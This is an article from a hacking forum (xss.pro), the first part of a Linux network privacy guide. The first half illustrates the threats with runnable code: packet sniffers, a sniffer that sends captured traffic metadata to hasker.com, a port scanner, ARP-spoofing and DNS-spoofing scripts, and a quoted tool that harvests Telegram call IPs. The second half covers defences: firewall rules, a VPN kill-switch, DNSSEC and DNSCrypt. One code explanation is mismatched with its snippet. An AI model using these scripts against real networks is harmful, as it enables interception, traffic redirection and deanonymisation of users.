• XSS.stack #1 – первый литературный журнал от юзеров форума

Настройка приватной сети в Linux. Часть 1

hipeople

RAM
Пользователь
Регистрация
13.05.2022
Сообщения
123
Реакции
103
Гарант сделки
3
Депозит
0.0022
Автор: hipeople
Источник https://xss.pro

Рад снова всех приветствовать!
В прошлых статьях я уже рассказывал про использование антидетект-браузеров статья про Firefox , статья про Chorme часть 1, часть 2 (правда, часть про Tor ещё впереди - думаю, это будет моя следующая статья после этой) и в целом про настройку приватности на уровне Linux.
Теперь я хочу продолжить тему приватности и поговорить о безопасности сети на Linux. Многие думают, что для приватности достаточно просто настроить цепочку VPN -> Tor -> VPN, менять MAC-адрес и, может, подкрутить свой DNS. Но на деле всё далеко не так просто.

Есть распространённое заблуждение, что приватность и безопасность сети никак не связаны друг с другом, но я с этим не согласен. Потому что, если любой злоумышленник может легко вас взломать или обойти шифрование, то о какой приватности может идти речь? Так что без защиты сети приватность невозможна. В этой статье я подробно расскажу, какие есть методы для приватности в сети, как их можно автоматизировать, а также напишу пару инструментов для этого. Погнали разбираться!


Как составить модель угроз для сети?
Прежде чем перейти к методам защиты, важно разобраться, кто может угрожать твоей сети и какие атаки чаще всего можно ожидать. Это необходимо, чтобы ты мог составить свою модель угроз и с умом использовать методы, описанные в статье.

Какие бывают противники?
Если говорить о противниках, то они бывают разные, и каждый из них несёт свои риски. Начиная с школьника, который хочет тебя взломать ради забавы, или твоего интернет-провайдера, который просматривает трафик, заканчивая корпорациями, которым нужны твои данные, или государством, которое, хоть и редко интересуется конкретными людьми, но в случае его внимания стоит ждать беды. У каждого из этих злоумышленников есть свои цели, методы и угрозы. Поэтому в этом разделе я подробно расскажу, что каждый из них может сделать и какие риски это понесёт для твоей приватности. Но помни: ты можешь столкнуться и с другими, уникальными для тебя угрозами, поэтому подходи к созданию модели угроз с учётом своего случая.

Интернет-провайдеры
Начнём с интернет-провайдеров.
Они видят весь твой трафик и могут получить к нему доступ, если он не зашифрован. Провайдеры обычно собирают метаданные: какие сайты ты посещаешь, сколько времени на них проводишь и какой объём данных скачиваешь. Даже при использовании HTTPS они знают IP-адреса серверов, с которыми ты соединяешься, а через незашифрованные DNS-запросы - точные домены. Благодаря этим данным они создают твой профиль, который потом могут продать рекламщикам или передать властям. Хуже того, при необходимости провайдер может подменять DNS-ответы, перенаправив тебя на фишинговый сайт. Более того, при необходимости провайдер может подменять DNS-ответы, перенаправляя тебя на фишинговый сайт. Он также может блокировать VPN или Tor, применяя DPI - глубокий анализ пакетов, чтобы определить используемые тобой протоколы.
А, как ты понимаешь, если VPN внезапно отключается, твой реальный IP сразу засветится в логах, что на руку злоумышленникам. Потому что это открывает прямой путь к твоему реальному местоположению и, возможно, личности.

Вот пример реального кода из библиотеки nDPI (от ntop), которая использует DPI для обнаружения трафика OpenVP. Это фрагмент из файла src/lib/protocols/openvpn.c (на основе коммита в репозитории GitHub).

Сам код:
C:
static void ndpi_search_openvpn(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) {
  struct ndpi_packet_struct *packet = ndpi_get_packet_struct(ndpi_struct, flow);

  if (packet->udp != NULL || packet->tcp != NULL) {
    if (packet->payload_packet_len >= 14) {
      u_int8_t opcode = packet->payload[0] >> 3;
      u_int8_t key = packet->payload[0] & 0x07;

      if ((opcode == P_CONTROL_HARD_RESET_CLIENT_V1 || opcode == P_CONTROL_HARD_RESET_CLIENT_V2 ||
           opcode == P_CONTROL_HARD_RESET_SERVER_V1 || opcode == P_CONTROL_HARD_RESET_SERVER_V2) &&
          key == 0) {  /* Ключ 0 для начального handshake */
        if (ntohs(packet->payload[1]) == packet->payload_packet_len - 14) {  /* Проверка длины */
          NDPI_LOG_INFO(ndpi_struct, "found OpenVPN\n");
          ndpi_int_add_connection(ndpi_struct, flow, NDPI_PROTOCOL_OPENVPN, NDPI_REAL_PROTOCOL);
          return;
        }
      }
    }
  }

  if (flow->packet_counter > 5) {
    NDPI_EXCLUDE_PROTO(ndpi_struct, flow);
  }
}
Это функция ndpi_search_openvpn, которая в составе библиотеки nDPI анализирует пакеты, чтобы вычислить, принадлежат ли они OpenVPN. Сначала она берёт текущий пакет из структуры потока. Если это UDP или TCP (OpenVPN работает через оба), и длина полезной нагрузки не меньше 14 байт, начинается разбор. Из первого байта пакета выдираются opcode (старшие 5 бит) и key (младшие 3 бита). Если opcode - это один из кодов начального рукопожатие OpenVPN (типа P_CONTROL_HARD_RESET_CLIENT_V1 или V2), а key равен нулю, проверяется длина пакета: байты 1-2 должны совпадать с фактической длиной минус 14. Если всё сходится, функция пишет в лог "found OpenVPN" и помечает поток как OpenVPN. Если после 5 пакетов ничего не нашлось, поток исключается из анализа, чтобы не тратить время.

Методы, описанные выше, обычно подходят для выявления VPN-протоколов, таких как WireGuard или OpenVPN, как показано в примере.
Однако для Tor чаще используется подход, основанный на проверке списка IP-адресов exit-нод. Для примера как это работает, я написал псевдокод, который обнаруживает Tor-трафик. Я написал на основе метода из интересной, хотя и старенькой статьи 2016 года, посвящённой поиска трафика Tor: ссылка на статью.

Сам псевдокод:
Код:
function detect_tor_traffic(packet):
  if is_tls_handshake(packet):
    client_hello = extract_client_hello(packet)
    if cipher_suites_match_tor_pattern(client_hello.cipher_suites):  # Специфический набор шифров Tor
      server_name = client_hello.extensions.server_name
      if server_name matches "www.[random_string].[com|net]":  # Паттерн домена Tor-bridge
        certificate = extract_certificate(packet)
        if certificate.subject matches server_name_pattern:  # Проверка issuer и commonName
          log_tor_connection(packet.src_ip, packet.dst_ip)
          block_ip(packet.dst_ip)  # Добавление в блоклист
          return true
  return false
Код работает так: функция detect_tor_traffic анализирует входящий пакет, проверяя, является ли он TLS-рукопожатием. Если да, она извлекает структуру ClientHello и смотрит на набор шифров (cipher_suites). Tor использует специфический набор шифров, который можно сопоставить с известным паттерном. Далее проверяется поле server_name в расширениях ClientHello - Tor часто использует домены вида www.[случайная_строка].[com|net] для мостов. Если имя сервера подходит, код извлекает сертификат и проверяет, соответствует ли его субъект (issuer или commonName) шаблону имени сервера. При совпадении всех условий соединение логируется как Tor, а IP-адрес назначения блокируется. Если хоть одна проверка не проходит, возвращается false.

Для полноты картины приведу пример, как провайдер (или любой, у кого есть доступ к сети) может перехватывать DNS-запросы с помощью Python и библиотеки Scapy:
Python:
from scapy.all import sniff, DNS

def dns_sniff(packet):
    if packet.haslayer(DNS) and packet[DNS].qr == 0:
        domain = packet[DNS].qd.qname.decode('utf-8')
        print(f"Перехвачен DNS-запрос: {domain}")

sniff(filter="udp port 53", prn=dns_sniff, count=5)
Код запускает сниффер, который отслеживает DNS-запросы на порту 53. Если ты не используешь шифрование DNS (например, DNS-over-HTTPS), провайдер легко увидит все запрашиваемые тобой домены и сможет построить твой профиль без особых усилий. Это может привести к таргетированной рекламе или, что хуже, к передаче данных властям, если ты посещаешь запрещённые сайты.

Локальные злоумыленники
Теперь про локальных атакующих в публичных Wi-Fi, вроде кафе или аэропортов.
Эти ребята обожают перехватывать незашифрованный трафик. Даже если ты сидишь через HTTPS, они могут ловить метаданные: IP-адреса, объём трафика, временные метки. А если ты по глупости отправляешь файлы с метаданными (например, фотки с геолокацией), то отдаёшь им информацию о себе на блюдечке. Хуже того, они могут подменять DNS или запускать фишинговые атаки, перенаправляя тебя на поддельные сайты, чтобы украсть пароли. Приватность тут страдает моментально: твои действия в сети становятся открытой книгой, а в худшем случае - это кража данных или доступ к твоим аккаунтам. Вот пример, как хакер может перехватить трафик в локальной сети, используя scapy:
Python:
from scapy.all import sniff, IP, TCP

def packet_sniff(packet):
    if packet.haslayer(TCP) and packet.haslayer(IP):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        payload = packet[TCP].payload
        if payload:
            print(f"Перехват: {src_ip} -> {dst_ip}, данные: {str(payload)[:50]}...")

sniff(iface="wlan0", filter="tcp", prn=packet_sniff, count=10)
Этот код перехватывает TCP-пакеты в локальной сети (например, через Wi-Fi-интерфейс wlan0). Если ты не используешь VPN или HTTPS, хакер увидит содержимое твоего трафика, а даже с HTTPS - метаданные, такие как IP и объём данных. Это может выдать твои привычки, а в случае утечки метаданных файлов - точное местоположение.

Государственные структуры
Гос-структуры обладают гораздо большими возможностями, чем интернет-провайдеры, и их методы сбора данных значительно шире.
Всё, что могут делать провайдеры - перехватывать DNS-запросы, собирать метаданные, подменять DNS-ответы или блокировать VPN и Tor с помощью DPI, - доступно и государственным структурам. Но их инструментарий этим не ограничивается. Если ты не привлёк их внимания, достаточно базовых мер защиты: шифрования, VPN или Tor. Однако если ты на их радаре, уклонение становится крайне сложным.

Государства могут анализировать трафик через DPI для выявления протоколов, таких как Tor или VPN, а также проводить атаки на инфраструктуру. Например, они способны подменять HTTPS-сертификаты через компрометацию центров сертификации или внедрять вредоносное ПО через уязвимости в устройствах и программах. Также они могут использовать социальную инженерию для доступа к твоим данным или проводить корреляционные атаки на Tor, сопоставляя время входа и выхода трафика через контролируемые ноды.

Помимо методов, зависящих от провайдеров, гос структуры могут перехватывать метаданные напрямую через глобальные системы мониторинга на магистральных интернет-каналах, минуя провайдеров. Они способны внедрять шпионское ПО, вроде Pegasus, через уязвимости в смартфонах или компьютерах, чтобы собирать сообщения, звонки и геолокацию.

Вот пример, который имитирует базовый мониторинг трафика на магистральном уровне (анализ заголовков пакетов для сбора метаданных, таких как IP и порты):
Python:
from scapy.all import sniff, IP, TCP, UDP

def monitor_backbone_traffic(packet):
    if packet.haslayer(IP):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        protocol = "Unknown"
        src_port = dst_port = "N/A"
 
        if packet.haslayer(TCP):
            protocol = "TCP"
            src_port = packet[TCP].sport
            dst_port = packet[TCP].dport
        elif packet.haslayer(UDP):
            protocol = "UDP"
            src_port = packet[UDP].sport
            dst_port = packet[UDP].dport
 
        print(f"Мониторинг: {src_ip}:{src_port} -> {dst_ip}:{dst_port} ({protocol})")

sniff(iface="eth0", filter="ip", prn=monitor_backbone_traffic, count=20)
Код работает так: функция monitor_backbone_traffic принимает пакет, захваченный Scapy, и проверяет, есть ли в нём IP-слой. Если да, она вытаскивает исходный и целевой IP-адреса. Затем проверяет, есть ли TCP или UDP слой, и определяет протокол, а также порты отправителя и получателя. Если ни TCP, ни UDP нет, порты остаются "N/A", а протокол - "Unknown". Метаданные выводятся в консоль в формате источник:порт -> назначение:порт (протокол). Функция sniff запускает захват 20 IP-пакетов на интерфейсе eth0, передавая каждый в monitor_backbone_traffic.

Корпорации
Корпорации вроде Google или производителей роутеров могут шпионить за твоей сетью через прошивку устройств
, собирая данные о том, какие сайты ты посещаешь, какие устройства подключаются и какие DNS-запросы делаешь. Всё это отправляется на их серверы, чтобы строить твой профиль для рекламы или продавать данные третьим лицам. Это бьёт по приватности, ведь по IP, MAC-адресу или времени активности можно понять, что ты делал в сети.
Я написал два Python-скрипта, чтобы показать, как роутер может собирать такие данные и отправлять их на сервер.

Пример клиента:
Python:
from scapy.all import sniff, IP, TCP, UDP
import requests
import json
import time

def collect_network_data(packet):
    if packet.haslayer(IP):
        data = {
            "src_ip": packet[IP].src,
            "dst_ip": packet[IP].dst,
            "protocol": "Unknown",
            "src_port": "N/A",
            "dst_port": "N/A",
            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S")
        }
        if packet.haslayer(TCP):
            data["protocol"] = "TCP"
            data["src_port"] = packet[TCP].sport
            data["dst_port"] = packet[TCP].dport
        elif packet.haslayer(UDP):
            data["protocol"] = "UDP"
            data["src_port"] = packet[UDP].sport
            data["dst_port"] = packet[UDP].dport
        try:
            requests.post("http://hasker.com:8080/collect", json=data, timeout=2)
            print(f"Sent data: {data['src_ip']}:{data['src_port']} -> {data['dst_ip']}:{data['dst_port']}")
        except Exception as e:
            print(f"Error sending data: {e}")
        return data

if __name__ == "__main__":
    print("Starting router sniffer on eth0")
    sniff(iface="eth0", filter="ip", prn=collect_network_data, count=10)
Этот код притворяется роутером, который следит за трафиком. Он использует Scapy, чтобы собирать IP-пакеты на интерфейсе eth0. Для каждого пакета собираются данные: IP-адреса отправителя и получателя, протокол (TCP, UDP или другой), порты и время. Эти данные в формате JSON летят на сервер по адресу http://hasker.com:8080/collect через POST-запрос.

Пример сервера:
Python:
from flask import Flask, request
import json

app = Flask(__name__)

@app.route('/collect', methods=['POST'])
def collect_data():
    try:
        data = request.get_json()
        print(f"Collected: {json.dumps(data, indent=2)}")
        with open("router_data.json", "a") as f:
            f.write(json.dumps(data) + "\n")
        return {"status": "received"}, 200
    except Exception as e:
        print(f"Error: {e}")
        return {"error": str(e)}, 500

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)
Сервер работает на 0.0.0.0:8080 через Flask и принимает POST-запросы с данными от роутера. Он выводит полученные метаданные - IP, порты, время - в консоль и сохраняет их в файл router_data.json. Это как база данных производителя, где хранится всё о твоей сети для анализа или продажи.

Мессенджеры
Дальше перейдём к локальным приложениям и мессенджерам. Многие программы, такие как Telegram, Discord или даже офисные пакеты, активно собирают телеметрию: данные о том, какие функции ты используешь, сколько времени приложение остаётся открытым, какие файлы ты отправляешь. Мессенджеры передают метаданные о чатах (время сообщений, IP-адрес при подключении), а иногда логируют онлайн-статус или список контактов. Если приложение не использует надёжное шифрование, хакер или даже разработчик может получить доступ к твоим сообщениям или файлам. Даже "безопасные" мессенджеры вроде Signal рискуют раскрыть твой IP через P2P-соединения во время звонков, если они не очень хорошо настроены

Вот пример, как приложение может собирать телеметрию:
Python:
import requests
import time
import json

def collect_telemetry(app_name, feature_used, duration):
    data = {
        "app": app_name,
        "feature": feature_used,
        "duration_seconds": duration,
        "timestamp": time.time(),
    }
    try:
        response = requests.post("https://telemetry.example.com/log", json=data)
        print(f"Телеметрия отправлена: {response.status_code}")
    except Exception as e:
        print(f"Ошибка отправки: {e}")

collect_telemetry("MessengerApp", "send_message", 120)
В примере, функция collect_telemetry собирает инфу о приложении - его название, какая функция использовалась (например, отправка сообщения), сколько секунд это заняло, и точное время. Всё это пакуется в JSON и отправляется на сервер https://telemetry.example.com/log через POST-запрос. Если всё проходит, в консоль выводится код ответа сервера, например 200, а если что-то ломается - ошибка. В реальной жизни мессенджеры вроде WhatsApp или Telegram могут слать ещё и твой IP, модель телефона или геолокацию, чтобы связать твои действия в профиль.

Еще качестве примера приведу Telegram: в нем IP-адреса обрабатываются в модулях для P2P-звонков (tgcalls), и используются для прямого соединения, что может привести к раскрытию IP-адреса собеседника. Однако Telegram добавил опции для ограничения P2P-соединений (например, только для контактов или полное отключение), чтобы уменьшить риски.

Я нашел старый скрипт на GitHub, который использовал эту уязвимость и собирал IP-адреса пользователей через анализ пакетов во время P2P-аудиозвонков с помощью библиотеки pyshark.
Вот отрывок скрипта из репозитория, где собирались данные:
Python:
def main(interface=None):
    my_ip = get_my_ip()
    local_ips = get_local_ips()
    if not interface:
        interface = pyshark.get_default_interface()
    capture = pyshark.LiveCapture(interface=interface, bpf_filter='udp')
    seen_ips = set()
    for packet in capture.sniff_continuously():
        if 'IP' in packet and 'UDP' in packet:
            src_ip = packet.ip.src
            dst_ip = packet.ip.dst
            if src_ip in local_ips or dst_ip in local_ips or is_private_ip(src_ip) or is_private_ip(dst_ip):
                continue
            if src_ip in seen_ips or dst_ip in seen_ips:
                continue
            remote_ip = src_ip if dst_ip in local_ips or dst_ip == my_ip else dst_ip
            seen_ips.add(remote_ip)
            hostname = get_hostname(remote_ip)
            whois = get_whois_info(remote_ip)
            print("\n[+] Possible remote IP found:")
            print(f" IP: {remote_ip}")
            if hostname:
                print(f" Hostname: {hostname}")
            if whois:
                print(f" Country: {whois['country']}")
                print(f" Region: {whois['region']}")
                print(f" City: {whois['city']}")
                print(f" ISP: {whois['isp']}")
                print(f" Org: {whois['org']}")
                print(f" AS: {whois['as']}")
                print(f" Lat/Lon: {whois['lat']}, {whois['lon']}")
Код работает так: функция collect_telemetry собирает данные о приложении - его имя, используемую функцию (например, отправка сообщения) и время работы в секундах, плюс метку времени через time.time(). Эти данные пакуются в JSON и отправляются POST-запросом на сервер https://telemetry.example.com/log. Если запрос успешен, выводится код ответа (например, 200), иначе - сообщение об ошибке. В реальной жизни приложение вроде мессенджера может собирать больше: твой IP, устройство, геолокацию, и всё это уходит на серверы для анализа.

Обычный взлом ради денег
И напоследок самый банальный, но не менее опасный тип противников -
злоумышленники, обычные люди, которые охотятся за твоими данными ради наживы. Эти ребята используют всё, что попадётся под руку: сниффинг трафика в публичных Wi-Fi, фишинг, основанный на утёкших метаданных, вроде твоей активности, или социальную инженерию. Потеря приватности здесь грозит кражей денег, или шантажом. Помимо банального создания поддельных Wi-Fi-сетей, такие злоумышленники часто сканируют порты, чтобы найти уязвимые службы, вроде SSH или веб-серверов, перехватывают пароли, подменяя ARP-таблицы и перенаправляя трафик через себя, или подделывают DNS-ответы, чтобы заманить тебя на фишинговый сайт. Ещё они могут ломать слабые протоколы, такие как старые версии SMB, чтобы залезть в твою сеть.

Первым я покажу, пример сканирования портов с библиотекой socket. Код просто ищет открытые порты на хосте, он простой, и обычно для таких дел испольуют Nmap.

Пример кода:
i
Python:
mport socket

def scan_port(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(0.5)
        if sock.connect_ex((host, port)) == 0:
            print(f"Port {port} open on {host}")
        sock.close()
    except:
        pass

def port_scan(host):
    print(f"Scanning {host}...")
    for port in [22, 80, 443, 3389]:
        scan_port(host, port)

if __name__ == "__main__":
    port_scan("192.168.1.1")

Проверяем:
photo_2025-10-05_16-00-31.jpg

Код работает так: функция scan_port берёт хост и порт, создаёт TCP-сокет, устанавливает таймаут 0.5 секунды и пытается подключиться через connect_ex. Если подключение удаётся (код возврата 0), порт открыт, и это выводится в консоль. Функция port_scan сканирует хост, проходя по списку портов (22 - SSH, 80 - HTTP, 443 - HTTPS, 3389 - RDP).

Ещё покажу пример ARP-спуфинга с помощью Scapy. Код подменяет ARP-таблицы, чтобы трафик жертвы шёл через хакера, позволяя перехватить пароли или данные, если они не зашифрованы.

Пример кода:
Python:
from scapy.all import *
import time

def arp_spoof(target_ip, gateway_ip, interface):
    target_mac = getmacbyip(target_ip)
    gateway_mac = getmacbyip(gateway_ip)
    arp_to_target = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst=target_mac)
    arp_to_gateway = ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst=gateway_mac)
    print(f"Poisoning {target_ip} and {gateway_ip}...")
    while True:
        try:
            send(arp_to_target, verbose=0)
            send(arp_to_gateway, verbose=0)
            time.sleep(1)
        except KeyboardInterrupt:
            print("Stopping attack")
            break
Функция arp_spoof берёт IP жертвы, IP шлюза и интерфейс (например, eth0). Она узнаёт MAC-адреса жертвы и шлюза через getmacbyip. Затем создаются два ARP-пакета: один говорит жертве, что атакующий - это шлюз, другой - шлюзу, что атакующий - это жертва. Эти пакеты отправляются каждую секунду через send, чтобы подменить ARP-таблицы. Трафик жертвы начинает идти через атакующего, позволяя перехватывать данные.

И напоследок покажу код для подмены DNS-ответов на Scapy. Он перехватывает DNS-запросы и подсовывает фишинговый IP.
Пример кода:
Python:
from scapy.all import *

def dns_spoof(packet):
    if packet.haslayer(DNS) and packet[DNS].qr == 0:
        domain = packet[DNS].qd.qname.decode()
        print(f"Got DNS request for {domain}")
        spoofed_ip = "192.168.1.100"
        response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                   UDP(dport=packet[UDP].sport, sport=53) / \
                   DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
                       an=DNSRR(rrname=domain, type="A", ttl=100, rdata=spoofed_ip))
        send(response, verbose=0)
        print(f"Sent fake DNS response: {domain} -> {spoofed_ip}")

if __name__ == "__main__":
    sniff(iface="eth0", filter="udp port 53", prn=dns_spoof, store=0)
Код работает так: функция dns_spoof перехватывает пакеты на интерфейсе eth0 с помощью sniff, фильтруя только UDP-запросы на порт 53 (DNS). Если пакет содержит DNS-запрос, код вытаскивает домен из запроса и формирует фальшивый ответ. Ответный пакет строится с перевёрнутыми IP (источник и назначение меняются местами), UDP-портами и DNS-секцией, где qr=1 (ответ), aa=1 (авторитетный), а an содержит поддельный IP 192.168.1.100 для запрошенного домена с TTL 100. Пакет отправляется через send, и в консоль пишется, что подмена удалась.

Как составить модель угроз?
Всё, что я описал выше, - это лишь примеры атак, на самом деле их гораздо больше.
Но даже эти примеры показывают, насколько важна защита сети. В конце этого раздела дам несколько советов, как составить свою модель угроз.
Для начала нужно определиться, что именно вы хотите защитить: данные, местоположение или свою приватность. Затем подумайте, кто ваши потенциальные противники: корпорации, провайдеры, государственные структуры и т.д. После выбора противника оцените его возможности, на что он готов пойти и какие это влечёт. И только после этого начинайте выстраивать защиту.
При выстраивании защиты важно учитывать не только сложные технические методы, но и не упускать из виду человеческий фактор. Часто людей ловят на простых вещах, например, через старую электронную почту, которая привязана к аккаунтам на форуме, или из-за лишней информации, которой человек сами поделился.
Кроме того, очень важно периодически обновлять методы защиты, потому что со временем появляются новые виды атак, и существующая защита уже может стать не актальной.


Методы защиты сети
Когда я рассказл про возможные угрозы, самое время поговорить о защите сети.
В этом разделе я расскажу, как обезопасить свою сеть и повысить свою приватности, начиная с простых методов и постепенно переходя к более сложным. Чтобы не перегружать статью, я не стану останавливаться на очевидных вещах, вроде настройки файрвола, использование Tor или установка простого VPN-приложения. Вместо этого я сосредоточусь на более интересных аспектах, например, настройке тех же протоколов VLESS или VMess. Не буду затягивать с предисловием - начнём!

Закрытие ненужных портов
Хоть я и говорил, что банальностей не будет, начну с основ: закрывайте ненужные порты. Многие почему-то забывают об этом на своём обычном компе, а не на сервере. Например, ставят какую-то фичу, используют её разок, а порт оставляют открытым. А ведь это лишний вектор для атак. Поэтому стоит иногда себя перепроверять и держать активным только то, что реально нужно. Если вообще что-то нужно.

Чтобы проверить все используемые порты, можно использовать стандартный netstat и отфильтровать, какие из них прослушиваются:
Код:
sudo netstat -tuln | grep LISTEN


Или можно сделать финт ушами и с помощью nmap проверить, какие порты открыты на нашей локальной системе:
Код:
nmap 127.0.0.1

Чтобы закрыть ненужные порты, сначала надо остановить службы командами вроде:
Код:
sudo systemctl stop sshd
sudo systemctl disable sshd
sudo systemctl stop cups
sudo systemctl disable cups
sudo systemctl stop mysql
sudo systemctl disable mysql
sudo systemctl stop exim4
sudo systemctl disable exim4
photo_2025-10-05_13-18-11.jpg


И только теперь можно закрыть все порты, которые не нужны:
Код:
sudo ufw deny 25
sudo ufw deny 631
sudo ufw deny 3306
sudo ufw deny 22
photo_2025-10-05_13-19-16.jpg


Проверим закрытые порты:
Код:
nmap 127.0.0.1
photo_2025-10-05_13-20-31.jpg



VPN с kill-switch
Дальше, расскажу про одну интересную штуку - kill-switch.
Это функция, которая отключает интернет, если твой VPN-сервис внезапно вырубится. Почему это важно? VPN шифрует твой трафик и вообще очень полезен, но провайдер, злоумышленник или просто сбой в системе могут прервать соединение. В таком случае твой реальный IP-адрес может попасть в логи. Kill-switch нужен именно для таких ситуаций: он полностью блокирует интернет, если VPN-соединение обрывается.

Я расскажу, как настроить kill-switch с OpenVPN, но ты можешь сделать это и с другими сервисами.

Для начала установи OpenVPN, если его у тебя нет, и подключись:
Код:
sudo apt install openvpn
sudo openvpn --config /path/to/vpn.ovpn

Теперь пора настраивать сам kill-switch. Для этого первым делом заблокируй весь исходящий трафик, чтобы ничего не шло без VPN:
Код:
sudo ufw deny out to 0.0.0.0/0

Теперь разреши трафик только к VPN-серверу:
Код:
sudo ufw allow out to <vpn_server_ip>

Теперь разреши трафик через интерфейс VPN:
Код:
sudo ufw allow out on tun0
Эта команда пропустит трафик через VPN-туннель (tun0), когда VPN работает.


Безопасная настройка DNS
Теперь расскажу, как правильно настраивать DNS.
Это очень важно потому что DNS, связывает доменные имена с реальными IP-адресами, и от её настроек зависит, увидит ли провайдер ваше незашифрованное общение с сайтами, перенаправит ли ваш трафик и многое другое.

Как работает DNS?
Для полноты картины расскажу как работает DNS. Всё начинается с того, что ваше устройство пытается найти ip сайта, который вы хотите посетить. Сначала оно смотрит в локальный кэш в файле /var/cache/nscd/hosts, где могут храниться данные от прошлых запросов. Если нужного ip там нет, устройство обращается к DNS-серверу, указанному в настройках, например, к серверу провайдера или публичному, вроде Google. Этот сервер проверяет домен и, если не знает ответа, запрашивает сервер домена первого уровня, например, для .com. Тот, в свою очередь, обращается к корневому серверу, который направляет запрос дальше, пока не найдётся нужный ip.

Базовая настройка DNS
Рассказывая о настройке DNS, начну с базовой информации, которую, по моему опыту, знают не все.
Никогда не ставь 0.0.0.0 в настройках DNS-сервера - это как оставить дверь нараспашку для атак. Такой адрес заставляет сервер слушать все интерфейсы, включая внешние, что делает его лёгкой мишенью для DNS-амплификации, подмены ответов или утечки данных. Это происходит потому, что 0.0.0.0 не фильтрует входящие соединения, открывая доступ любому устройству в интернете. Кроме того, использование этого адреса может привести к утечке информации о ваших запросах, так как сервер не ограничивает, кто может к нему подключиться. Но, как же сделать правильно?

Если настраиваешь свой DNS-сервер, например, BIND или Unbound, ограничивай прослушивание локальными адресами. В конфиге, например, в файле /etc/bind/named.conf.options, пропиши:
Код:
listen-on { 127.0.0.1; };
listen-on-v6 { ::1; };
Это значительно затруднит внешний доступ, потому что ограничит взаимодействие с внешними сетями.

Если свой сервер не используешь, можно выбрать внешнего провайдера, но тут есть риски, так что выбирай с умом. Cloudflare (1.1.1.1) даёт высокую скорость и хранит минимум логов, но, по-моему мнению, для приватности он не очень подходит. Потому можно использовать аналоги, вроде Quad9 или AdGuard.

Quad9 (9.9.9.9, 149.112.112.112) - не собирает персональные данные (по крайней мере, компания так говорит, верить ей или нет ваш выбор) и поддерживает DNS-over-HTTPS (DoH) и DNS-over-TLS (DoT) для шифрования запросов.
AdGuard (94.140.14.14, 94.140.15.15) - вроде как ведёт некоторые логи, но зато у них куча функций для блокировки трекеров, плюс поддержка DoH и DoT.

Эти серверы можно прописать в /etc/resolv.conf:
Код:
nameserver 9.9.9.9
nameserver 149.112.112.112
nameserver 94.140.14.14
nameserver 94.140.15.15


Настройка DNSSEC
Для дополнительной безопасности важно настроить DNSSEC.
Эта штука защищает от атак, проверяя, что данные не подменили во время передачи.

Работает это через криптографические ключи. Допустим для зоны, eample.com, создают два ключа: ZSK подписывает записи, вроде IP-адресов или MX, а KSK подписывает сам ZSK, создавая цепочку доверия. Каждая запись получает подпись RRSIG, которая публикуется вместе с данными. Публичные ключи хранятся в записях DNSKEY, а связь с родительской зоной, например .com, держится на записи DS. Когда ты запрашиваешь сайт, твой браузер или резолвер получает данные и подпись, проверяет их по цепочке доверия от корневой зоны до нужной. Если подпись верна, данные считаются настоящими, если нет - запрос отклоняется. Но DNSSEC не шифрует данные, только подтверждает их подлинность и целостность, а именно про шифрование я расскажу позже.

Сначала нужно установить Unbound:
Код:
sudo apt install unbound
sudo apt install unbound-anchor

Получаем ключи DNSSEC:
Код:
sudo unbound-anchor -a /var/lib/unbound/root.key
Untitled6_202510052032128.png


Потом нужно включить сервис Unbound:
Код:
sudo systemctl enable unbound

Это нужно, чтобы Unbound запускался при старте системы.
Далее нужно настроить локальный DNS:
Код:
sudo nano /etc/resolv.conf

Добавь локальный резолвер:
Код:
nameserver 127.0.0.1

И перезагрузи систему:
Код:
sudo reboot


DNSCrypt
Вот я и добрался до темы шифрования DNS.
Оно полезно, чтобы провайдер или кто-то ещё не видел, какие сайты ты посещаешь. Но будь осторожен с установкой таких вещей: излишнее шифрование может привлечь к тебе внимание и показать, что ты что-то скрываешь.

Первым делом расскажу про DNSCrypt. Работает это так: клиент, например, браузер или приложение, отправляет DNS-запрос. Обычно такие запросы идут в открытом виде, и их могут перехватить. DNSCrypt шифрует этот запрос с помощью криптографии на основе эллиптических кривых (обычно Curve25519). Клиент и сервер DNSCrypt (резолвер) обмениваются ключами для аутентификации и шифрования. Запрос отправляется через защищённое соединение (обычно по UDP на порт 443) к серверу, который поддерживает DNSCrypt. Сервер расшифровывает запрос, обращается к DNS, получает ответ, шифрует его и отправляет обратно клиенту. Клиент расшифровывает ответ и использует IP-адрес для доступа к сайту.

Сначала нужно установить DNSCrypt командой:
Код:
sudo apt install dnscrypt-proxy

После этого можно заполнить конфигурационный файл, указав данные серверов, которые стоит использовать для DNSCrypt:
Код:
sudo nano /etc/dnscrypt-proxy/dnscrypt-proxy.toml

Для примера я указал серверы Cloudflare и AdGuard, а также локальный порт, но ты можешь настроить конфиг по-другому:
Код:
server_names = ['cloudflare', 'adguard-dns']
listen_addresses = ['127.0.0.1:53']

Далее перезапусти сервис:
Код:
sudo systemctl restart dnscrypt-proxy


Настройка Anonymized DNSCrypt
Теперь расскажу про Anonymized DNSCrypt.
По сути, это улучшенная версия DNSCrypt, где запросы идут через анонимные релеи, скрывая твой IP даже от DNS-сервера.
Работает это так: клиент шифрует DNS-запрос с помощью публичного ключа сервера, добавляет префикс с адресом конечного сервера и отправляет его релею. Релей, не имея ключей, просто пересылает зашифрованный запрос серверу, который видит только IP релея. Сервер обрабатывает запрос, шифрует ответ и отправляет его через релей обратно клиенту, который расшифровывает данные.
Помимо этого, Anonymized DNSCrypt добавляет минимальный overhead, работает быстрее, чем DoH, и не раскрывает метаданные в заголовках. Однако он требует поддержки со стороны клиента и релея, а также не защищает от анализа трафика на уровне промежуточного сервера.
Однако он требует поддержки со стороны клиента и сервера, не защищает от всех атак (например, от анализа трафика на релее) и не заменяет VPN, так как касается только DNS.

Сначала установи DNSCrypt, если он ещё не установлен, командой:
Код:
sudo apt install dnscrypt-proxy

Затем нужно заполнить конфигурационный файл:
Код:
sudo nano /etc/dnscrypt-proxy/dnscrypt-proxy.toml
Это откроет файл для включения анонимных релеев.

